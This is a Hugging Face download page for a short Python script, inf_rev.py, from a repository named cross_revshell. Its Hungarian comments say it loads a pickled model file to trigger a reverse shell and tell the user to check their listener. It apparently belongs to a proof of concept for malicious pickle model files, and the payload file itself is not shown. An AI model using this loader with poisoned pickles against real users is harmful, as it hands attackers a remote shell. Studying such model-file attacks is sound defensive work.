Download inf_rev.py from totapp91/cross_revshell: direct link, hf CLI and curl.
- Browser
- Download file 975 Bytes
-
https://huggingface.co/totapp91/cross_revshell/resolve/main/inf_rev.py
- Command line
-
hf download hf://totapp91/cross_revshell/inf_rev.py
-
curl -L -o inf_rev.py https://huggingface.co/totapp91/cross_revshell/resolve/main/inf_rev.py
975 Bytes
| # infer_revshell.py | |
| import pickle | |
| import sys | |
| def load_and_predict(model_path, sample_data=None): | |
| """ | |
| Betölti a pickle fájlt - ez triggereli a reverse shellt! | |
| """ | |
| print(f"[*] Loading model from: {model_path}") | |
| # ⚠️ VESZÉLYES - ez fogja végrehajtani a rosszindulatú kódot | |
| with open(model_path, 'rb') as f: | |
| artifact = pickle.load(f) # ← ITT FUT A REVERSE SHELL | |
| print("[!] Model loaded - check your listener!") | |
| # Ha van sample data, predikció is fut | |
| if sample_data is not None: | |
| print("[*] Making prediction...") | |
| result = artifact.predict(sample_data) | |
| print(f"[+] Prediction: {result}") | |
| return artifact | |
| # Használat | |
| if __name__ == "__main__": | |
| # Alapértelmezett sample (Iris dataset-hez) | |
| sample = [[5.1, 3.5, 1.4, 0.2]] # egy iris sample | |
| # Betöltés és predikció | |
| model = load_and_predict("cross_revshell.pkl", sample) |